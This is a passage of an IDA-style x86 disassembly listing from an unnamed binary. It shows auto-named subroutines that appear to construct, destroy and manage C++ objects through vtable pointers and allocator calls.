		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B6D3CA
		xor	eax, eax
		mov	dword ptr [esi], offset	off_69B134D0
		mov	dword ptr [esi+8], offset off_69B13470
		mov	dword ptr [esi+10h], offset off_69B133D8
		mov	[esi+38h], eax
		mov	[esi+40h], eax
		mov	[esi+48h], eax
		mov	[esi+4Ch], eax
		mov	[esi+58h], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_69B68BD6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B68C0D	proc near		; CODE XREF: sub_69B689B6+3j
					; .text:69B689C9j
					; DATA XREF: ...

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B68C28
		test	[esp+4+arg_0], 1
		jz	short loc_69B68C22
		push	esi
		call	sub_69B1829F


loc_69B68C22:				; CODE XREF: sub_69B68C0D+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B68C0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B68C28	proc near		; CODE XREF: sub_69B68C0D+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+58h]
		test	byte ptr [eax],	1
		jz	short loc_69B68C3C
		and	dword ptr [eax], 0FFFFFFFEh
		push	eax
		call	sub_69B17230


loc_69B68C3C:				; CODE XREF: sub_69B68C28+9j
		lea	eax, [esi+4Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+48h]
		push	eax
		call	sub_69B17230
		lea	ecx, [esi+40h]
		call	sub_69B67F03
		lea	ecx, [esi+38h]
		call	sub_69B67F03
		mov	ecx, esi
		pop	esi
		jmp	sub_69B65BC0
sub_69B68C28	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B68C66	proc near		; DATA XREF: .text:69B686D4o
		push	5Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B68C7B
		push	0
		mov	ecx, eax
		call	sub_69B68BD6
		retn
; ---------------------------------------------------------------------------


loc_69B68C7B:				; CODE XREF: sub_69B68C66+9j
		xor	eax, eax
		retn
sub_69B68C66	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B68C7E	proc near		; CODE XREF: sub_69B5FEEC+6Ap
					; sub_69B60230+13Fp ...
		push	ebp
		mov	ebp, esp
		push	5Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B68C94
		pop	ebp
		mov	ecx, eax
		jmp	sub_69B6893F
; ---------------------------------------------------------------------------


loc_69B68C94:				; CODE XREF: sub_69B68C7E+Cj
		xor	eax, eax
		pop	ebp
		retn	18h
sub_69B68C7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B68C9A	proc near		; DATA XREF: .text:69B13514o
		push	esi
		mov	esi, ecx
		test	byte ptr [esi+50h], 8
		jnz	short loc_69B68CA8
		call	sub_69B68A03


loc_69B68CA8:				; CODE XREF: sub_69B68C9A+7j
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jz	short loc_69B68CCC
		mov	eax, [esi+54h]
		cmp	ecx, eax
		jbe	short loc_69B68CCC
		lea	ecx, [eax+1]
		mov	[esi+54h], ecx
		mov	ecx, [esi+38h]
		push	eax
		call	sub_69B6871B
		mov	eax, [eax]
		and	eax, 0FFFFFFFEh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B68CCC:				; CODE XREF: sub_69B68C9A+13j
					; sub_69B68C9A+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_69B68C9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B68CD0	proc near		; CODE XREF: sub_69B68EB6+3j
					; .text:69B68EC9j
					; DATA XREF: ...
		mov	eax, offset off_69B68CD8
		retn
sub_69B68CD0	endp

; ---------------------------------------------------------------------------
		align 4
off_69B68CD8	dd offset off_69B29C7C	; DATA XREF: sub_69B68CD0o
		dd offset sub_69B6921A

; =============== S U B	R O U T	I N E =======================================



sub_69B68CE0	proc near		; DATA XREF: .text:69B13604o
		push	esi
		mov	esi, ecx
		call	sub_69B6CA4E
		test	byte ptr [esi+4Ch], 1
		pop	esi
		jz	short locret_69B68CF2
		and	eax, 0FFFFFFFEh

locret_69B68CF2:			; CODE XREF: sub_69B68CE0+Dj
		retn
sub_69B68CE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B68CF3	proc near		; DATA XREF: .text:69B13588o
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		call	dword ptr [eax+3Ch]
		test	eax, eax
		jz	short loc_69B68D20
		push	edi
		lea	edi, [esi+28h]
		mov	ecx, edi
		call	sub_69B6D972
		test	byte ptr [esi+44h], 1
		jz	short loc_69B68D17
		mov	ecx, edi
		call	sub_69B6D972


loc_69B68D17:				; CODE XREF: sub_69B68CF3+1Bj
		pop	edi
		mov	ecx, esi
		pop	esi
		jmp	sub_69B6C995
; ---------------------------------------------------------------------------


loc_69B68D20:				; CODE XREF: sub_69B68CF3+Aj
		xor	eax, eax
		pop	esi
		retn
sub_69B68CF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B68D24	proc near		; DATA XREF: .text:69B13568o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		xor	eax, eax
		cmp	[esi+4], eax
		push	edi
		mov	[esi+2Ch], eax
		jz	short loc_69B68D39
		xor	edi, edi
		jmp	short loc_69B68D3F
; ---------------------------------------------------------------------------


loc_69B68D39:				; CODE XREF: sub_69B68D24+Fj
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_4], eax


loc_69B68D3F:				; CODE XREF: sub_69B68D24+13j
		push	[ebp+arg_8]
		mov	ecx, esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B6CD21
		lea	ecx, [esi-10h]
		mov	eax, [ecx]
		push	edi
		call	dword ptr [eax+50h]
		pop	edi
		pop	esi
		pop	ebp
		retn	0Ch
sub_69B68D24	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B68D5E	proc near		; DATA XREF: .text:69B1356Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_8]
		test	esi, esi
		push	edi
		mov	edi, ecx
		jz	short loc_69B68DAF
		mov	ebx, [esp+0Ch+arg_4]
		cmp	esi, ebx
		jz	short loc_69B68DAF
		mov	ecx, [edi+3Ch]
		test	ecx, ecx
		jz	short loc_69B68DAB
		mov	eax, [ecx]
		push	esi
		push	ebx
		push	[esp+14h+arg_0]
		call	dword ptr [eax+4Ch]
		jmp	short loc_69B68DA9
; ---------------------------------------------------------------------------


loc_69B68D87:				; CODE XREF: sub_69B68D5E+4Fj
		cmp	esi, ebx
		jnz	short loc_69B68D91
		cmp	byte ptr [edi+40h], 0
		jz	short loc_69B68DAF


loc_69B68D91:				; CODE XREF: sub_69B68D5E+2Bj
		push	esi
		push	ebx
		push	[esp+14h+arg_0]
		mov	ecx, edi
		call	sub_69B6CA2C
		test	eax, eax
		jnz	short loc_69B68DB1
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+64h]


loc_69B68DA9:				; CODE XREF: sub_69B68D5E+27j
		mov	esi, eax


loc_69B68DAB:				; CODE XREF: sub_69B68D5E+1Aj
		test	esi, esi
		jnz	short loc_69B68D87


loc_69B68DAF:				; CODE XREF: sub_69B68D5E+Bj
					; sub_69B68D5E+13j ...
		xor	eax, eax


loc_69B68DB1:				; CODE XREF: sub_69B68D5E+42j
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
sub_69B68D5E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B68DB7	proc near		; DATA XREF: .text:69B13650o
		cmp	byte ptr [ecx+50h], 0
		mov	eax, dword_69B9B418
		jnz	short locret_69B68DC7
		mov	eax, dword_69B9B420

locret_69B68DC7:			; CODE XREF: sub_69B68DB7+9j
		retn
sub_69B68DB7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B68DC8	proc near		; CODE XREF: sub_69B68EDE+50p
					; sub_69B69132+2Cp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch

		mov	al, [esp+arg_8]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	[esi+50h], al
		push	edi
		lea	eax, [esi+4Ch]
		push	eax
		call	sub_69B17320
		test	edi, edi
		jz	short loc_69B68DFE
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+5Ch]
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+4Ch]
		not	eax
		xor	eax, [esi+54h]
		and	eax, 1
		xor	[esi+54h], eax


loc_69B68DFE:				; CODE XREF: sub_69B68DC8+1Bj
		movzx	eax, [esp+8+arg_4]
		pop	edi
		mov	[esi+40h], eax
		mov	[esi+44h], eax
		mov	[esi+48h], eax
		pop	esi
		retn	0Ch
sub_69B68DC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B68E11	proc near		; CODE XREF: sub_69B68ECE+3j
					; sub_69B68ED6+3j
					; DATA XREF: ...
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+4Ch]
		push	eax
		call	sub_69B17320
		push	0
		lea	ecx, [esi+40h]
		call	sub_69B677FE
		push	0
		lea	ecx, [esi+44h]
		call	sub_69B677FE
		push	0
		lea	ecx, [esi+48h]
		call	sub_69B677FE
		mov	ecx, esi
		pop	esi
		jmp	sub_69B6CBC6
sub_69B68E11	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B68E45	proc near		; DATA XREF: .text:69B13570o

arg_0		= dword	ptr  4

		mov	ecx, [ecx+3Ch]
		test	ecx, ecx
		jz	short loc_69B68E51
		mov	eax, [ecx]
		jmp	dword ptr [eax+50h]
; ---------------------------------------------------------------------------


loc_69B68E51:				; CODE XREF: sub_69B68E45+5j
		push	dword_69B95A18
		mov	ecx, [esp+4+arg_0]
		call	sub_69B677BA
		test	al, al
		jnz	short locret_69B68E73
		push	dword_69B95A18
		mov	ecx, [esp+4+arg_0]
		call	sub_69B8A35C

locret_69B68E73:			; CODE XREF: sub_69B68E45+1Dj
		retn	4
sub_69B68E45	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B68E76	proc near		; DATA XREF: .text:69B13660o

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+3Ch]
		sub	esi, 2
		push	0
		pop	ebx
		js	short loc_69B68EA4


loc_69B68E86:				; CODE XREF: sub_69B68E76+2Cj
		mov	ecx, [edi+38h]
		push	ebx
		call	sub_69B6871B
		push	dword ptr [eax+10h]
		push	[esp+10h+arg_0]
		call	sub_69B6D1E0
		inc	ebx
		cmp	ebx, esi
		mov	[esp+0Ch+arg_0], eax
		jle	short loc_69B68E86


loc_69B68EA4:				; CODE XREF: sub_69B68E76+Ej
		mov	eax, [esp+0Ch+arg_0]
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_69B68E76	endp

; ---------------------------------------------------------------------------


loc_69B68EAE:				; DATA XREF: .text:69B135C4o
		sub	ecx, 8
		jmp	sub_69B691B0

; =============== S U B	R O U T	I N E =======================================



sub_69B68EB6	proc near		; DATA XREF: .text:69B135D4o
		sub	ecx, 8
		jmp	sub_69B68CD0
sub_69B68EB6	endp

; ---------------------------------------------------------------------------


loc_69B68EBE:				; DATA XREF: .text:69B1352Co
		sub	ecx, 10h
		jmp	sub_69B691B0
; ---------------------------------------------------------------------------


loc_69B68EC6:				; DATA XREF: .text:69B1353Co
		sub	ecx, 10h
		jmp	sub_69B68CD0

; =============== S U B	R O U T	I N E =======================================



sub_69B68ECE	proc near		; DATA XREF: .text:69B135ECo
		sub	ecx, 8
		jmp	sub_69B68E11
sub_69B68ECE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B68ED6	proc near		; DATA XREF: .text:69B13554o
		sub	ecx, 10h
		jmp	sub_69B68E11
sub_69B68ED6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B68EDE	proc near		; CODE XREF: sub_69B69232+11j

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_8]
		test	eax, eax
		push	esi
		mov	esi, ecx
		jnz	short loc_69B68EEC
		inc	eax


loc_69B68EEC:				; CODE XREF: sub_69B68EDE+Bj
		push	[ebp+arg_C]
		mov	ecx, esi
		push	eax
		push	[ebp+arg_0]
		call	sub_69B6D314
		movzx	eax, byte ptr [ebp+arg_C]
		push	[ebp+arg_10]
		mov	dword ptr [esi], offset	off_69B13618
		push	[ebp+arg_C]
		mov	dword ptr [esi+8], offset off_69B135B8
		push	[ebp+arg_4]
		mov	dword ptr [esi+10h], offset off_69B13520
		and	dword ptr [esi+38h], 0
		mov	[esi+40h], eax
		mov	[esi+44h], eax
		mov	[esi+48h], eax
		and	dword ptr [esi+4Ch], 0
		mov	ecx, esi
		call	sub_69B68DC8
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	14h
sub_69B68EDE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B68F3A	proc near		; DATA XREF: .text:69B13564o
		push	esi
		mov	esi, ecx
		call	sub_69B6CCB6
		mov	edx, [esi+38h]
		and	dword ptr [esi+2Ch], 0
		lea	ecx, [esi-10h]
		mov	eax, [ecx]
		and	edx, 0FFFFFFFEh
		push	edx
		call	dword ptr [eax+50h]
		pop	esi
		retn
sub_69B68F3A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B68F57	proc near		; DATA XREF: .text:69B13668o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	edi
		push	[esp+8+arg_0]
		lea	edi, [esi+40h]
		mov	ecx, edi
		call	sub_69B677FE
		test	dword ptr [edi], 0FFFFFFFEh
		jz	short loc_69B68FC8
		cmp	byte ptr [esi+50h], 0
		jz	short loc_69B68F80
		push	edi
		lea	ecx, [esi+44h]
		call	sub_69B67A49


loc_69B68F80:				; CODE XREF: sub_69B68F57+1Ej
		xor	eax, eax
		mov	al, [esi+1Ch]
		push	ebx
		lea	ebx, [esi+38h]
		mov	ecx, ebx
		and	eax, 0FFFFFF01h
		push	eax
		mov	eax, [edi]
		push	0
		and	eax, 0FFFFFFFEh
		push	eax
		call	sub_69B6D9D2
		test	byte ptr [esi+54h], 1
		jz	short loc_69B68FC7
		xor	eax, eax
		mov	al, [esi+1Ch]
		mov	ecx, ebx
		and	eax, 0FFFFFF01h
		push	eax
		xor	eax, eax
		mov	al, [esi+54h]
		and	eax, 0FFFFFF01h
		push	eax
		mov	eax, [edi]
		and	eax, 0FFFFFFFEh
		push	eax
		call	sub_69B6D9D2


loc_69B68FC7:				; CODE XREF: sub_69B68F57+4Bj
		pop	ebx


loc_69B68FC8:				; CODE XREF: sub_69B68F57+18j
		pop	edi
		pop	esi
		retn	4
sub_69B68F57	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B68FCD	proc near		; DATA XREF: .text:69B135A0o

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B6CD55
		cmp	byte ptr [esp+4+arg_0],	0
		jz	short loc_69B68FF3
		mov	edx, [esi+38h]
		and	dword ptr [esi+2Ch], 0
		lea	ecx, [esi-10h]
		mov	eax, [ecx]
		and	edx, 0FFFFFFFEh
		push	edx
		call	dword ptr [eax+50h]


loc_69B68FF3:				; CODE XREF: sub_69B68FCD+11j
		pop	esi
		retn	4
sub_69B68FCD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B68FF7	proc near		; DATA XREF: .text:69B1365Co

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		mov	al, [esi+1Ch]
		push	edi
		and	al, 1
		lea	edi, [esi+40h]
		test	dword ptr [edi], 0FFFFFFFEh
		mov	byte ptr [ebp+var_8], al
		jnz	short loc_69B6902E
		mov	eax, [esi]
		call	dword ptr [eax+40h]
		push	eax
		mov	ecx, edi
		call	sub_69B677FE
		mov	ecx, [edi]
		mov	eax, [esi]
		and	ecx, 0FFFFFFFEh
		push	ecx
		mov	ecx, esi
		call	dword ptr [eax+50h]


loc_69B6902E:				; CODE XREF: sub_69B68FF7+1Bj
					; sub_69B68FF7+121j
		xor	ebx, ebx
		cmp	[esi+3Ch], ebx
		jnz	short loc_69B69082
		mov	ecx, esi
		call	sub_69B65903
		test	dword ptr [edi], 0FFFFFFFEh
		jz	short loc_69B6906E


loc_69B69044:				; CODE XREF: sub_69B68FF7+75j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_69B6906E
		mov	eax, [edi]
		and	eax, 0FFFFFFFEh
		push	eax
		push	ebx
		call	sub_69B6D872
		test	al, al
		jz	short loc_69B6906A
		mov	ecx, esi
		xor	ebx, ebx
		call	sub_69B65903


loc_69B6906A:				; CODE XREF: sub_69B68FF7+68j
		test	ebx, ebx
		jz	short loc_69B69044


loc_69B6906E:				; CODE XREF: sub_69B68FF7+4Bj
					; sub_69B68FF7+58j
		mov	eax, [esi]
		push	ebx
		mov	ecx, esi
		call	dword ptr [eax+50h]
		test	dword ptr [edi], 0FFFFFFFEh
		jz	loc_69B6911D


loc_69B69082:				; CODE XREF: sub_69B68FF7+3Cj
		lea	ecx, [esi+38h]
		call	sub_69B6DA4B
		mov	[ebp+var_4], eax
		mov	eax, [esi+44h]
		test	eax, 0FFFFFFFEh
		jz	short loc_69B69102
		and	eax, 0FFFFFFFEh
		jmp	short loc_69B6910A
; ---------------------------------------------------------------------------


loc_69B6909C:				; CODE XREF: sub_69B68FF7+117j
		test	dword ptr [esi+44h], 0FFFFFFFEh
		jnz	short loc_69B690DF
		push	[ebp+var_8]
		lea	ecx, [esi+38h]
		push	0
		push	ebx
		call	sub_69B6D9D2
		test	byte ptr [esi+54h], 1
		mov	[ebp+var_4], eax
		jz	short loc_69B690D6
		push	[ebp+var_8]
		xor	eax, eax
		mov	al, [esi+54h]
		lea	ecx, [esi+38h]
		and	eax, 0FFFFFF01h
		push	eax
		push	ebx
		call	sub_69B6D9D2
		mov	[ebp+var_4], eax


loc_69B690D6:				; CODE XREF: sub_69B68FF7+C3j
		push	ebx
		lea	ecx, [esi+44h]
		call	sub_69B677FE


loc_69B690DF:				; CODE XREF: sub_69B68FF7+ACj
		mov	ecx, [esi+4Ch]
		test	ecx, ecx
		jz	short loc_69B69121
		mov	edx, [edi]
		mov	eax, [ecx]
		push	ebx
		and	edx, 0FFFFFFFEh
		push	edx
		push	dword ptr [esi+18h]
		call	dword ptr [eax+4Ch]
		test	eax, eax
		jnz	short loc_69B69121
		push	eax
		lea	ecx, [esi+44h]
		call	sub_69B677FE


loc_69B69102:				; CODE XREF: sub_69B68FF7+9Ej
		push	[ebp+var_4]
		call	sub_69B6CF71


loc_69B6910A:				; CODE XREF: sub_69B68FF7+A3j
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B6909C
		lea	ecx, [esi+38h]
		call	sub_69B6D972
		jmp	loc_69B6902E
; ---------------------------------------------------------------------------


loc_69B6911D:				; CODE XREF: sub_69B68FF7+85j
		xor	eax, eax
		jmp	short loc_69B6912D
; ---------------------------------------------------------------------------


loc_69B69121:				; CODE XREF: sub_69B68FF7+EDj
					; sub_69B68FF7+100j
		push	0
		lea	ecx, [esi+44h]
		call	sub_69B677FE
		mov	eax, ebx


loc_69B6912D:				; CODE XREF: sub_69B68FF7+128j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B68FF7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69132	proc near		; DATA XREF: .text:69B1359Co

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		mov	esi, ecx
		call	sub_69B6CFE2
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+10h]
		mov	edi, eax
		xor	eax, eax
		mov	al, [esi+40h]
		mov	ecx, edi
		push	eax
		xor	eax, eax
		mov	al, [esi+0Ch]
		and	eax, 0FFFFFF01h
		push	eax
		push	dword ptr [esi+3Ch]
		call	sub_69B68DC8
		mov	ecx, [esi+38h]
		mov	eax, [edi]
		and	ecx, 0FFFFFFFEh
		push	ecx
		mov	ecx, edi
		call	dword ptr [eax+50h]
		lea	eax, [edi+10h]
		pop	edi
		pop	esi
		retn	4
sub_69B69132	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69179	proc near		; CODE XREF: sub_69B6921A+Fp

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B6D3CA
		xor	eax, eax
		mov	dword ptr [esi], offset	off_69B13618
		mov	dword ptr [esi+8], offset off_69B135B8
		mov	dword ptr [esi+10h], offset off_69B13520
		mov	[esi+38h], eax
		mov	[esi+40h], eax
		mov	[esi+44h], eax
		mov	[esi+48h], eax
		mov	[esi+4Ch], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_69B69179	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B691B0	proc near		; CODE XREF: .text:69B68EB1j
					; .text:69B68EC1j
					; DATA XREF: ...

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B691CB
		test	[esp+4+arg_0], 1
		jz	short loc_69B691C5
		push	esi
		call	sub_69B1829F


loc_69B691C5:				; CODE XREF: sub_69B691B0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B691B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B691CB	proc near		; CODE XREF: sub_69B691B0+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+4Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+48h]
		test	byte ptr [eax],	1
		jz	short loc_69B691E8
		and	dword ptr [eax], 0FFFFFFFEh
		push	eax
		call	sub_69B17230


loc_69B691E8:				; CODE XREF: sub_69B691CB+12j
		lea	eax, [esi+44h]
		test	byte ptr [eax],	1
		jz	short loc_69B691F9
		and	dword ptr [eax], 0FFFFFFFEh
		push	eax
		call	sub_69B17230


loc_69B691F9:				; CODE XREF: sub_69B691CB+23j
		lea	eax, [esi+40h]
		test	byte ptr [eax],	1
		jz	short loc_69B6920A
		and	dword ptr [eax], 0FFFFFFFEh
		push	eax
		call	sub_69B17230


loc_69B6920A:				; CODE XREF: sub_69B691CB+34j
		lea	ecx, [esi+38h]
		call	sub_69B67F03
		mov	ecx, esi
		pop	esi
		jmp	sub_69B65BC0
sub_69B691CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6921A	proc near		; DATA XREF: .text:69B68CDCo
		push	58h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B6922F
		push	0
		mov	ecx, eax
		call	sub_69B69179
		retn
; ---------------------------------------------------------------------------


loc_69B6922F:				; CODE XREF: sub_69B6921A+9j
		xor	eax, eax
		retn
sub_69B6921A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B69232	proc near		; CODE XREF: sub_69B60160+40p
					; sub_69B60160+B5p ...
		push	ebp
		mov	ebp, esp
		push	58h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B69248
		pop	ebp
		mov	ecx, eax
		jmp	sub_69B68EDE
; ---------------------------------------------------------------------------


loc_69B69248:				; CODE XREF: sub_69B69232+Cj
		xor	eax, eax
		pop	ebp
		retn	14h
sub_69B69232	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6924E	proc near		; CODE XREF: sub_69B692DE+3j
					; .text:69B692EEj
					; DATA XREF: ...
		mov	eax, offset off_69B69254
		retn
sub_69B6924E	endp

; ---------------------------------------------------------------------------
off_69B69254	dd offset off_69B29718	; DATA XREF: sub_69B6924Eo
		dd offset sub_69B69334

; =============== S U B	R O U T	I N E =======================================



sub_69B6925C	proc near		; DATA XREF: .text:69B13754o
		mov	eax, 305h
		retn
sub_69B6925C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69262	proc near		; DATA XREF: .text:69B137A0o
		mov	eax, dword_69B9B3D8
		retn
sub_69B69262	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69268	proc near		; DATA XREF: .text:69B136B8o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_4]
		test	ecx, ecx
		jz	short loc_69B69280
		mov	eax, [ecx]
		call	dword ptr [eax+0B4h]
		mov	eax, [eax+4Ch]
		jmp	short loc_69B69282
; ---------------------------------------------------------------------------


loc_69B69280:				; CODE XREF: sub_69B69268+9j
		xor	eax, eax


loc_69B69282:				; CODE XREF: sub_69B69268+16j
		push	[esp+4+arg_8]
		mov	ecx, esi
		push	eax
		push	[esp+0Ch+arg_0]
		call	sub_69B6787C
		pop	esi
		retn	0Ch
sub_69B69268	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69296	proc near		; DATA XREF: .text:69B136BCo

arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0B4h]
		mov	ecx, eax
		mov	eax, esi
		sub	eax, [ecx+4Ch]
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, esi
		pop	esi
		retn	0Ch
sub_69B69296	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B6934C


loc_69B692B8:				; CODE XREF: sub_69B6934C+Dj
		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B67B17
		mov	dword ptr [esi], offset	off_69B13768
		mov	dword ptr [esi+8], offset off_69B13708
		mov	dword ptr [esi+10h], offset off_69B13670
		mov	eax, esi
		pop	esi
		retn	4
; END OF FUNCTION CHUNK	FOR sub_69B6934C

; =============== S U B	R O U T	I N E =======================================



sub_69B692DE	proc near		; DATA XREF: .text:69B13724o
		sub	ecx, 8
		jmp	sub_69B6924E
sub_69B692DE	endp

; ---------------------------------------------------------------------------


loc_69B692E6:				; DATA XREF: .text:69B13004o
					; .text:69B1367Co
		sub	ecx, 10h
		jmp	short sub_69B69319
; ---------------------------------------------------------------------------


loc_69B692EB:				; DATA XREF: .text:69B1368Co
		sub	ecx, 10h
		jmp	sub_69B6924E

; =============== S U B	R O U T	I N E =======================================



sub_69B692F3	proc near		; CODE XREF: sub_69B69334+Fp

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B67C1F
		mov	dword ptr [esi], offset	off_69B13768
		mov	dword ptr [esi+8], offset off_69B13708
		mov	dword ptr [esi+10h], offset off_69B13670
		mov	eax, esi
		pop	esi
		retn	4
sub_69B692F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69319	proc near		; CODE XREF: sub_69B67AEF+3j
					; .text:69B692E9j
					; DATA XREF: ...

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B67C93
		test	[esp+4+arg_0], 1
		jz	short loc_69B6932E
		push	esi
		call	sub_69B1829F


loc_69B6932E:				; CODE XREF: sub_69B69319+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B69319	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69334	proc near		; DATA XREF: .text:69B69258o
		push	4Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B69349
		push	0
		mov	ecx, eax
		call	sub_69B692F3
		retn
; ---------------------------------------------------------------------------


loc_69B69349:				; CODE XREF: sub_69B69334+9j
		xor	eax, eax
		retn
sub_69B69334	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6934C	proc near		; CODE XREF: sub_69B60388+22p
					; sub_69B60388+7Cp ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B692B8 SIZE 00000026 BYTES

		push	4Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B6935E
		mov	ecx, eax
		jmp	loc_69B692B8
; ---------------------------------------------------------------------------


loc_69B6935E:				; CODE XREF: sub_69B6934C+9j
		xor	eax, eax
		retn	4
sub_69B6934C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69363	proc near		; CODE XREF: sub_69B698D6+3j
					; .text:69B698E9j
					; DATA XREF: ...
		mov	eax, offset off_69B6936C
		retn
sub_69B69363	endp

; ---------------------------------------------------------------------------
		align 4
off_69B6936C	dd offset off_69B29C7C	; DATA XREF: sub_69B69363o
		dd offset sub_69B699DA

; =============== S U B	R O U T	I N E =======================================



sub_69B69374	proc near		; DATA XREF: .text:69B13DA4o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	eax, [eax]
		mov	ecx, [esp+arg_0]
		mov	[ecx], eax
		retn	8
sub_69B69374	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69383	proc near		; DATA XREF: .text:69B13DA0o
					; .text:69B1EE38o ...
		push	4
		pop	eax
		retn
sub_69B69383	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69387	proc near		; DATA XREF: .text:69B13818o
		push	dword ptr [ecx+3Ch]
		push	0
		call	sub_69B6D2B6
		retn	4
sub_69B69387	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B69394	proc near		; DATA XREF: .text:69B138E8o
		mov	eax, dword_69B9B3E0
		retn
sub_69B69394	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6939A	proc near		; DATA XREF: .text:69B1F6BCo

